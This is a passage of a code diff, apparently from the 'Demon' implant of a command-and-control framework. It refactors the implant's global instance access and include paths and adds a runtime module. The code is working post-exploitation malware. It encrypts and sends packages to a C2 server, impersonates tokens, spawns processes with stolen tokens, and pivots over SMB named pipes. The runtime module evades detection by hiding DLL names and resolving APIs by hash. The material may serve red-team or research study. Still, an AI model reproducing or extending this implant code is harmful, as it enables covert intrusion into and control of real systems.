}
if ( Instance.Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) {
if ( Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) {
PUTS( "Failed to format string" )
MemSet( CallbackOutput, 0, CallbackSize );
Instance.Win32.LocalFree( CallbackOutput );
Instance->Win32.LocalFree( CallbackOutput );
va_end( VaListArg );
return;
}
@@ -300,7 +299,7 @@ VOID BeaconPrintf( INT Type, PCHAR fmt, ... )
PackageTransmit( package );
MemSet( CallbackOutput, 0, CallbackSize );
Instance.Win32.LocalFree( CallbackOutput );
Instance->Win32.LocalFree( CallbackOutput );
}
VOID BeaconOutput( INT Type, PCHAR data, INT len )
@@ -346,7 +345,7 @@ VOID BeaconFormatAlloc( PFORMAT format, int maxsz )
if ( format == NULL )
return;
format->original = Instance.Win32.LocalAlloc(maxsz, 1);
format->original = Instance->Win32.LocalAlloc(maxsz, 1);
format->buffer = format->original;
format->length = 0;
format->size = maxsz;
@@ -366,7 +365,7 @@ VOID BeaconFormatFree( PFORMAT format )
if ( format->original )
{
Instance.Win32.LocalFree( format->original );
Instance->Win32.LocalFree( format->original );
format->original = NULL;
}
@@ -388,7 +387,7 @@ VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... )
int length = 0;
va_start( args, fmt );
length = Instance.Win32.vsnprintf( NULL, 0, fmt, args );
length = Instance->Win32.vsnprintf( NULL, 0, fmt, args );
va_end( args );
if ( format->length + length > format->size )
{
@@ -396,7 +395,7 @@ VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... )
}
va_start( args, fmt );
Instance.Win32.vsnprintf( format->buffer, length, fmt, args );
Instance->Win32.vsnprintf( format->buffer, length, fmt, args );
va_end( args );
format->length += length;
@@ -431,7 +430,7 @@ BOOL BeaconUseToken( HANDLE token )
return FALSE;
}
if ( ! Instance.Win32.SetThreadToken( NULL, hImpersonateToken ) ) {
if ( ! Instance->Win32.SetThreadToken( NULL, hImpersonateToken ) ) {
return FALSE;
}
@@ -447,9 +446,9 @@ VOID BeaconGetSpawnTo( BOOL x86, char* buffer, int length )
return;
if ( x86 ) {
Path = Instance.Config.Process.Spawn86;
Path = Instance->Config.Process.Spawn86;
} else {
Path = Instance.Config.Process.Spawn64;
Path = Instance->Config.Process.Spawn64;
}
Size = StringLengthW( Path ) * sizeof( WCHAR );
@@ -468,18 +467,18 @@ BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo
PWCHAR Path = NULL;
if (x86) {
Path = Instance.Config.Process.Spawn86;
Path = Instance->Config.Process.Spawn86;
} else {
Path = Instance.Config.Process.Spawn64;
Path = Instance->Config.Process.Spawn64;
}
if (ignoreToken)
{
bSuccess = Instance.Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
bSuccess = Instance->Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);
}
else
{
bSuccess = Instance.Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo);
bSuccess = Instance->Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo);
}
return bSuccess;
@@ -608,7 +607,7 @@ BOOL BeaconAddValue(const char * key, void * ptr)
}
// make sure the key doesn't already exist
KeyValue = Instance.CoffeKeyValueStore;
KeyValue = Instance->CoffeKeyValueStore;
while ( KeyValue )
{
if ( StringCompareA( KeyValue->Key, key ) == 0 ) {
@@ -619,14 +618,14 @@ BOOL BeaconAddValue(const char * key, void * ptr)
KeyValue = KeyValue->Next;
}
KeyValue = Instance.Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) );
KeyValue = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) );
KeyValue->Value = ptr;
StringCopyA( KeyValue->Key, key );
// store the new item at the start of the list
KeyValue->Next = Instance.CoffeKeyValueStore;
Instance.CoffeKeyValueStore = KeyValue;
KeyValue->Next = Instance->CoffeKeyValueStore;
Instance->CoffeKeyValueStore = KeyValue;
return TRUE;
}
@@ -641,7 +640,7 @@ PVOID BeaconGetValue(const char * key)
return NULL;
}
KeyValue = Instance.CoffeKeyValueStore;
KeyValue = Instance->CoffeKeyValueStore;
while ( KeyValue )
{
if ( StringCompareA( KeyValue->Key, key ) == 0 ) {
@@ -665,7 +664,7 @@ BOOL BeaconRemoveValue(const char * key)
return FALSE;
}
Current = Instance.CoffeKeyValueStore;
Current = Instance->CoffeKeyValueStore;
while ( Current )
{
if ( StringCompareA( Current->Key, key ) == 0 )
@@ -673,7 +672,7 @@ BOOL BeaconRemoveValue(const char * key)
if ( Prev ) {
Prev->Next = Current->Next;
} else {
Instance.CoffeKeyValueStore = Current->Next;
Instance->CoffeKeyValueStore = Current->Next;
}
DATA_FREE( Current, sizeof( COFFEE_KEY_VALUE ) );
@@ -1,14 +1,14 @@
/* Import Core Headers */
#include <Core/Package.h>
#include <Core/MiniStd.h>
#include <Core/Command.h>
#include <Core/Transport.h>
#include <Core/TransportSmb.h>
#include <core/Package.h>
#include <core/MiniStd.h>
#include <core/Command.h>
#include <core/Transport.h>
#include <core/TransportSmb.h>
/* Import Crypto Header (enable CTR Mode) */
#define CTR 1
#define AES256 1
#include <Crypt/AesCrypt.h>
#include <crypt/AesCrypt.h>
VOID Int64ToBuffer( PUCHAR Buffer, UINT64 Value )
{
@@ -47,14 +47,14 @@ VOID Int32ToBuffer(
}
VOID PackageAddInt32(
IN OUT PPACKAGE Package,
_Inout_ PPACKAGE Package,
IN UINT32 Data
) {
if ( ! Package ) {
return;
}
Package->Buffer = Instance.Win32.LocalReAlloc(
Package->Buffer = Instance->Win32.LocalReAlloc(
Package->Buffer,
Package->Length + sizeof( UINT32 ),
LMEM_MOVEABLE
@@ -71,7 +71,7 @@ VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt )
return;
}
Package->Buffer = Instance.Win32.LocalReAlloc(
Package->Buffer = Instance->Win32.LocalReAlloc(
Package->Buffer,
Package->Length + sizeof( UINT64 ),
LMEM_MOVEABLE
@@ -83,14 +83,14 @@ VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt )
}
VOID PackageAddBool(
IN OUT PPACKAGE Package,
_Inout_ PPACKAGE Package,
IN BOOLEAN Data
) {
if ( ! Package ) {
return;
}
Package->Buffer = Instance.Win32.LocalReAlloc(
Package->Buffer = Instance->Win32.LocalReAlloc(
Package->Buffer,
Package->Length + sizeof( UINT32 ),
LMEM_MOVEABLE
@@ -111,7 +111,7 @@ VOID PackageAddPad( PPACKAGE Package, PCHAR Data, SIZE_T Size )
if ( ! Package )
return;
Package->Buffer = Instance.Win32.LocalReAlloc(
Package->Buffer = Instance->Win32.LocalReAlloc(
Package->Buffer,
Package->Length + Size,
LMEM_MOVEABLE | LMEM_ZEROINIT
@@ -132,7 +132,7 @@ VOID PackageAddBytes( PPACKAGE Package, PBYTE Data, SIZE_T Size )
if ( Size )
{
Package->Buffer = Instance.Win32.LocalReAlloc(
Package->Buffer = Instance->Win32.LocalReAlloc(
Package->Buffer,
Package->Length + Size,
LMEM_MOVEABLE | LMEM_ZEROINIT
@@ -158,10 +158,10 @@ PPACKAGE PackageCreate( UINT32 CommandID )
{
PPACKAGE Package = NULL;
Package = Instance.Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) );
Package->Buffer = Instance.Win32.LocalAlloc( LPTR, sizeof( BYTE ) );
Package = Instance->Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) );
Package->Buffer = Instance->Win32.LocalAlloc( LPTR, sizeof( BYTE ) );
Package->Length = 0;
Package->RequestID = Instance.CurrentRequestID;
Package->RequestID = Instance->CurrentRequestID;
Package->CommandID = CommandID;
Package->Encrypt = TRUE;
Package->Destroy = TRUE;
@@ -177,7 +177,7 @@ PPACKAGE PackageCreateWithMetaData( UINT32 CommandID )
PackageAddInt32( Package, 0 ); // package length
PackageAddInt32( Package, DEMON_MAGIC_VALUE );
PackageAddInt32( Package, Instance.Session.AgentID );
PackageAddInt32( Package, Instance->Session.AgentID );
PackageAddInt32( Package, Package->CommandID );
PackageAddInt32( Package, Package->RequestID );
@@ -196,16 +196,16 @@ PPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID )
VOID PackageDestroy(
IN PPACKAGE Package
) {
PPACKAGE Pkg = Instance.Packages;
PPACKAGE Pkg = Instance->Packages;
if ( Package )
{
// make sure the package is not on the Instance.Packages list, avoid UAF
// make sure the package is not on the Instance->Packages list, avoid UAF
while ( Pkg )
{
if ( Package == Pkg )
{
PUTS_DONT_SEND( "Package can't be destroyed, is on Instance.Packages list" )
PUTS_DONT_SEND( "Package can't be destroyed, is on Instance->Packages list" )
return;
}
@@ -215,19 +215,19 @@ VOID PackageDestroy(
if ( Package->Buffer )
{
MemSet( Package->Buffer, 0, Package->Length );
Instance.Win32.LocalFree( Package->Buffer );
Instance->Win32.LocalFree( Package->Buffer );
Package->Buffer = NULL;
}
MemSet( Package, 0, sizeof( PACKAGE ) );
Instance.Win32.LocalFree( Package );
Instance->Win32.LocalFree( Package );
Package = NULL;
}
}
// used to send the demon's metadata
BOOL PackageTransmitNow(
IN OUT PPACKAGE Package,
_Inout_ PPACKAGE Package,
OUT PVOID* Response,
OUT PSIZE_T Size
) {
@@ -254,7 +254,7 @@ BOOL PackageTransmitNow(
Padding += 32 + 16;
}
AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV );
AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );
AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );
}
@@ -314,14 +314,14 @@ VOID PackageTransmit(
}
#endif
if ( ! Instance.Packages )
if ( ! Instance->Packages )
{
Instance.Packages = Package;
Instance->Packages = Package;
}
else
{
// add the new package to the end of the list (to preserve the order)
List = Instance.Packages;
List = Instance->Packages;
while ( List->Next ) {
List = List->Next;
}
@@ -338,14 +338,14 @@ BOOL PackageTransmitAll(
BOOL Success = FALSE;
UINT32 Padding = 0;
PPACKAGE Package = NULL;
PPACKAGE Pkg = Instance.Packages;
PPACKAGE Pkg = Instance->Packages;
PPACKAGE Entry = NULL;
PPACKAGE Prev = NULL;
#if TRANSPORT_SMB
// SMB pivots don't need to send DEMON_COMMAND_GET_JOB
// so if we don't having nothing to send, simply exit
if ( ! Instance.Packages )
if ( ! Instance->Packages )
return TRUE;
#endif
@@ -387,7 +387,7 @@ BOOL PackageTransmitAll(
Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 );
// encrypt the package
AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV );
AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );
AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );
// send it
@@ -400,7 +400,7 @@ BOOL PackageTransmitAll(
// decrypt the package
AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );
Entry = Instance.Packages;
Entry = Instance->Packages;
Prev = NULL;
if ( Success )
@@ -412,17 +412,17 @@ BOOL PackageTransmitAll(
if ( Entry->Included )
{
// is this the first entry?
if ( Entry == Instance.Packages )
if ( Entry == Instance->Packages )
{
// update the start of the list
Instance.Packages = Entry->Next;
Instance->Packages = Entry->Next;
// remove the entry if required
if ( Entry->Destroy ) {
PackageDestroy( Entry ); Entry = NULL;
}
Entry = Instance.Packages;
Entry = Instance->Packages;
Prev = NULL;
}
else
@@ -1,15 +1,15 @@
#include <Demon.h>
#include <Core/Parser.h>
#include <Core/MiniStd.h>
#include <Crypt/AesCrypt.h>
#include <core/Parser.h>
#include <core/MiniStd.h>
#include <crypt/AesCrypt.h>
VOID ParserNew( PPARSER parser, PBYTE Buffer, UINT32 size )
{
if ( parser == NULL )
return;
parser->Original = Instance.Win32.LocalAlloc( LPTR, size );
parser->Original = Instance->Win32.LocalAlloc( LPTR, size );
MemCopy( parser->Original, Buffer, size );
@@ -170,7 +170,7 @@ VOID ParserDestroy( PPARSER Parser )
if ( Parser->Original )
{
MemSet( Parser->Original, 0, Parser->Size );
Instance.Win32.LocalFree( Parser->Original );
Instance->Win32.LocalFree( Parser->Original );
Parser->Original = NULL;
Parser->Buffer = NULL;
}
@@ -1,11 +1,11 @@
#include <Demon.h>
#include <Common/Macros.h>
#include <common/Macros.h>
#include <Core/Parser.h>
#include <Core/MiniStd.h>
#include <Core/Command.h>
#include <Core/Package.h>
#include <core/Parser.h>
#include <core/MiniStd.h>
#include <core/Command.h>
#include <core/Package.h>
/* TODO: Change the way new pivots gets added.
*
@@ -14,8 +14,8 @@
*
* Add it to the first token (parent):
*
* Pivot->Next = Instance.SmbPivots;
* Instance.SmbPivots = Pivot;
* Pivot->Next = Instance->SmbPivots;
* Instance->SmbPivots = Pivot;
*
* Might reduce some code which i care more than
* pivot order.
@@ -28,7 +28,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
PRINTF( "Connecting to named pipe: %ls\n", NamedPipe.Buffer );
Handle = Instance.Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
Handle = Instance->Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
if ( Handle == INVALID_HANDLE_VALUE )
{
@@ -38,7 +38,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
if ( NtGetLastError() == ERROR_PIPE_BUSY )
{
if ( ! Instance.Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) )
if ( ! Instance->Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) )
{
return FALSE;
}
@@ -47,16 +47,16 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
do
{
// TODO: first get the size then parse
if ( Instance.Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) )
if ( Instance->Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) )
{
if ( *BytesSize > 0 )
{
PRINTF( "BytesSize => %d\n", *BytesSize );
*Output = Instance.Win32.LocalAlloc( LPTR, *BytesSize );
*Output = Instance->Win32.LocalAlloc( LPTR, *BytesSize );
MemSet( *Output, 0, *BytesSize );
if ( Instance.Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) )
if ( Instance->Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) )
{
PRINTF( "BytesSize Read => %d\n", *BytesSize );
break;
@@ -81,21 +81,21 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
{
PRINTF( "Pivot :: Output[%p] Size[%d]\n", *Output, *BytesSize )
Data = Instance.Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) );
Data = Instance->Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) );
Data->Handle = Handle;
Data->Next = NULL;
Data->DemonID = PivotParseDemonID( *Output, *BytesSize );
Data->PipeName.Buffer = Instance.Win32.LocalAlloc( LPTR, NamedPipe.Length );
Data->PipeName.Buffer = Instance->Win32.LocalAlloc( LPTR, NamedPipe.Length );
Data->PipeName.Length = NamedPipe.Length;
MemCopy( Data->PipeName.Buffer, NamedPipe.Buffer, NamedPipe.Length );
if ( ! Instance.SmbPivots )
if ( ! Instance->SmbPivots )
{
Instance.SmbPivots = Data;
Instance->SmbPivots = Data;
}
else
{
PPIVOT_DATA PivotList = Instance.SmbPivots;
PPIVOT_DATA PivotList = Instance->SmbPivots;
do
{
@@ -120,7 +120,7 @@ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )
PPIVOT_DATA PivotGet( DWORD AgentID )
{
PPIVOT_DATA TempList = Instance.SmbPivots;
PPIVOT_DATA TempList = Instance->SmbPivots;
do {
if ( TempList )
@@ -140,38 +140,38 @@ BOOL PivotRemove( DWORD AgentId )
{
PRINTF( "Remove pivot %x\n", AgentId )
PPIVOT_DATA TempList = Instance.SmbPivots;
PPIVOT_DATA TempList = Instance->SmbPivots;
PPIVOT_DATA PivotData = PivotGet( AgentId );
BOOL Success = FALSE;
if ( ( ! TempList ) || ( ! PivotData ) )
return FALSE;
if ( Instance.SmbPivots->DemonID == AgentId )
if ( Instance->SmbPivots->DemonID == AgentId )
{
PPIVOT_DATA TempNext = Instance.SmbPivots->Next;
PPIVOT_DATA TempNext = Instance->SmbPivots->Next;
if ( Instance.SmbPivots->PipeName.Buffer )
if ( Instance->SmbPivots->PipeName.Buffer )
{
MemSet( Instance.SmbPivots->PipeName.Buffer, 0, Instance.SmbPivots->PipeName.Length );
Instance.Win32.LocalFree( Instance.SmbPivots->PipeName.Buffer );
MemSet( Instance->SmbPivots->PipeName.Buffer, 0, Instance->SmbPivots->PipeName.Length );
Instance->Win32.LocalFree( Instance->SmbPivots->PipeName.Buffer );
}
if ( Instance.SmbPivots->Handle )
if ( Instance->SmbPivots->Handle )
{
Instance.Win32.DisconnectNamedPipe( Instance.SmbPivots->Handle );
SysNtClose( Instance.SmbPivots->Handle );
Instance->Win32.DisconnectNamedPipe( Instance->SmbPivots->Handle );
SysNtClose( Instance->SmbPivots->Handle );
}
Instance.SmbPivots->PipeName.Buffer = NULL;
Instance.SmbPivots->PipeName.Length = 0;
Instance.SmbPivots->Handle = NULL;
Instance.SmbPivots->DemonID = 0;
Instance->SmbPivots->PipeName.Buffer = NULL;
Instance->SmbPivots->PipeName.Length = 0;
Instance->SmbPivots->Handle = NULL;
Instance->SmbPivots->DemonID = 0;
MemSet( Instance.SmbPivots, 0, sizeof( PIVOT_DATA ) );
Instance.Win32.LocalFree( Instance.SmbPivots );
MemSet( Instance->SmbPivots, 0, sizeof( PIVOT_DATA ) );
Instance->Win32.LocalFree( Instance->SmbPivots );
Instance.SmbPivots = TempNext;
Instance->SmbPivots = TempNext;
return TRUE;
}
@@ -186,12 +186,12 @@ BOOL PivotRemove( DWORD AgentId )
if ( PivotData->PipeName.Buffer )
{
MemSet( PivotData->PipeName.Buffer, 0, PivotData->PipeName.Length );
Instance.Win32.LocalFree( PivotData->PipeName.Buffer );
Instance->Win32.LocalFree( PivotData->PipeName.Buffer );
}
if ( PivotData->Handle )
{
Instance.Win32.DisconnectNamedPipe( PivotData->Handle );
Instance->Win32.DisconnectNamedPipe( PivotData->Handle );
SysNtClose( PivotData->Handle );
}
@@ -201,7 +201,7 @@ BOOL PivotRemove( DWORD AgentId )
PivotData->DemonID = 0;
MemSet( PivotData, 0, sizeof( PIVOT_DATA ) );
Instance.Win32.LocalFree( PivotData );
Instance->Win32.LocalFree( PivotData );
PivotData = NULL;
return TRUE;
@@ -217,7 +217,7 @@ BOOL PivotRemove( DWORD AgentId )
DWORD PivotCount()
{
PPIVOT_DATA TempList = Instance.SmbPivots;
PPIVOT_DATA TempList = Instance->SmbPivots;
DWORD Counter = 0;
do {
@@ -235,7 +235,7 @@ DWORD PivotCount()
VOID PivotPush()
{
PPACKAGE Package = NULL;
PPIVOT_DATA TempList = Instance.SmbPivots;
PPIVOT_DATA TempList = Instance->SmbPivots;
DWORD BytesSize = 0;
DWORD Length = 0;
PVOID Output = NULL;
@@ -256,16 +256,16 @@ VOID PivotPush()
NumLoops = 0;
do {
if ( Instance.Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) )
if ( Instance->Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) )
{
if ( BytesSize >= sizeof( UINT32 ) )
{
if ( Instance.Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) )
if ( Instance->Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) )
{
Length = __builtin_bswap32( Length ) + sizeof( UINT32 );
Output = Instance.Win32.LocalAlloc( LPTR, Length );
Output = Instance->Win32.LocalAlloc( LPTR, Length );
if ( Instance.Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) )
if ( Instance->Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) )
{
Package = PackageCreate( DEMON_COMMAND_PIVOT );
PackageAddInt32( Package, DEMON_PIVOT_SMB_COMMAND );
+505
View File
@@ -0,0 +1,505 @@
#include <Demon.h>
#include <core/Runtime.h>
#include <core/MiniStd.h>
BOOL RtAdvapi32(
VOID
) {
CHAR ModuleName[ 13 ] = { 0 };
ModuleName[ 0 ] = HideChar('A');
ModuleName[ 2 ] = HideChar('V');
ModuleName[ 11 ] = HideChar('L');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 3 ] = HideChar('A');
ModuleName[ 8 ] = HideChar('.');
ModuleName[ 12 ] = HideChar('\0');
ModuleName[ 6 ] = HideChar('3');
ModuleName[ 7 ] = HideChar('2');
ModuleName[ 1 ] = HideChar('D');
ModuleName[ 9 ] = HideChar('D');
ModuleName[ 5 ] = HideChar('I');
ModuleName[ 4 ] = HideChar('P');
if ( ( Instance->Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.GetTokenInformation = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETTOKENINFORMATION );
Instance->Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW );
Instance->Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW );
Instance->Win32.RevertToSelf = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_REVERTTOSELF );
Instance->Win32.GetUserNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETUSERNAMEA );
Instance->Win32.LogonUserW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOGONUSERW );
Instance->Win32.LookupPrivilegeValueA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA );
Instance->Win32.LookupAccountSidA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA );
Instance->Win32.LookupAccountSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW );
Instance->Win32.OpenThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENTHREADTOKEN );
Instance->Win32.OpenProcessToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN );
Instance->Win32.AdjustTokenPrivileges = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES );
Instance->Win32.LookupPrivilegeNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA );
Instance->Win32.SystemFunction032 = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 );
Instance->Win32.FreeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_FREESID );
Instance->Win32.SetSecurityDescriptorSacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL );
Instance->Win32.SetSecurityDescriptorDacl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL );
Instance->Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR );
Instance->Win32.AddMandatoryAce = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADDMANDATORYACE );
Instance->Win32.InitializeAcl = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZEACL );
Instance->Win32.AllocateAndInitializeSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID );
Instance->Win32.CheckTokenMembership = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP );
Instance->Win32.SetEntriesInAclW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETENTRIESINACLW );
Instance->Win32.SetThreadToken = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETTHREADTOKEN );
Instance->Win32.LsaNtStatusToWinError = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR );
Instance->Win32.EqualSid = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_EQUALSID );
Instance->Win32.ConvertSidToStringSidW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW );
Instance->Win32.GetSidSubAuthorityCount = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT );
Instance->Win32.GetSidSubAuthority = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY );
PUTS( "Loaded Advapi32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Advapi32" )
return FALSE;
}
return TRUE;
}
// we delay loading mscoree.dll
BOOL RtMscoree(
VOID
) {
CHAR ModuleName[ 12 ] = { 0 };
if ( Instance->Win32.CLRCreateInstance )
return TRUE;
ModuleName[ 1 ] = HideChar('S');
ModuleName[ 2 ] = HideChar('C');
ModuleName[ 11 ] = HideChar(0);
ModuleName[ 0 ] = HideChar('M');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 8 ] = HideChar('D');
ModuleName[ 7 ] = HideChar('.');
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 5 ] = HideChar('E');
ModuleName[ 4 ] = HideChar('R');
ModuleName[ 6 ] = HideChar('E');
ModuleName[ 3 ] = HideChar('O');
if ( ( Instance->Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.CLRCreateInstance = LdrFunctionAddr( Instance->Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE );
PUTS( "Loaded Mscoree functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Mscoree" )
return FALSE;
}
return TRUE;
}
BOOL RtOleaut32(
VOID
) {
CHAR ModuleName[ 13 ] = { 0 };
ModuleName[ 3 ] = HideChar('A');
ModuleName[ 2 ] = HideChar('E');
ModuleName[ 0 ] = HideChar('O');
ModuleName[ 1 ] = HideChar('L');
ModuleName[ 5 ] = HideChar('T');
ModuleName[ 11 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('2');
ModuleName[ 6 ] = HideChar('3');
ModuleName[ 10 ] = HideChar('L');
ModuleName[ 12 ] = HideChar(0);
ModuleName[ 4 ] = HideChar('U');
ModuleName[ 9 ] = HideChar('D');
ModuleName[ 8 ] = HideChar('.');
if ( ( Instance->Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.SafeArrayAccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA );
Instance->Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA );
Instance->Win32.SafeArrayCreate = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE );
Instance->Win32.SafeArrayPutElement = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT );
Instance->Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR );
Instance->Win32.SafeArrayDestroy = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY );
Instance->Win32.SysAllocString = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SYSALLOCSTRING );
PUTS( "Loaded Oleaut32 functions" )
} else {
MemZero( ModuleName, sizeof( ModuleName ) );
PUTS( "Failed to load Oleaut32" )
return FALSE;
}
return TRUE;
}
BOOL RtUser32(
VOID
) {
CHAR ModuleName[ 11 ] = { 0 };
ModuleName[ 1 ] = HideChar('S');
ModuleName[ 0 ] = HideChar('U');
ModuleName[ 10 ] = HideChar(0);
ModuleName[ 6 ] = HideChar('.');
ModuleName[ 8 ] = HideChar('L');
ModuleName[ 7 ] = HideChar('D');
ModuleName[ 5 ] = HideChar('2');
ModuleName[ 3 ] = HideChar('R');
ModuleName[ 9 ] = HideChar('L');
ModuleName[ 2 ] = HideChar('E');
ModuleName[ 4 ] = HideChar('3');
if ( ( Instance->Modules.User32 = LdrModuleLoad( ModuleName ) ) ) {
MemZero( ModuleName, sizeof( ModuleName ) );
Instance->Win32.ShowWindow = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_SHOWWINDOW );
Instance->Win32.GetSystemMetrics = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETSYSTEMMETRICS );
Instance->Win32.GetDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_GETDC );
Instance->Win32.ReleaseDC = LdrFunctionAddr( Instance->Modules.User32, H_FUNC_RELEASEDC );
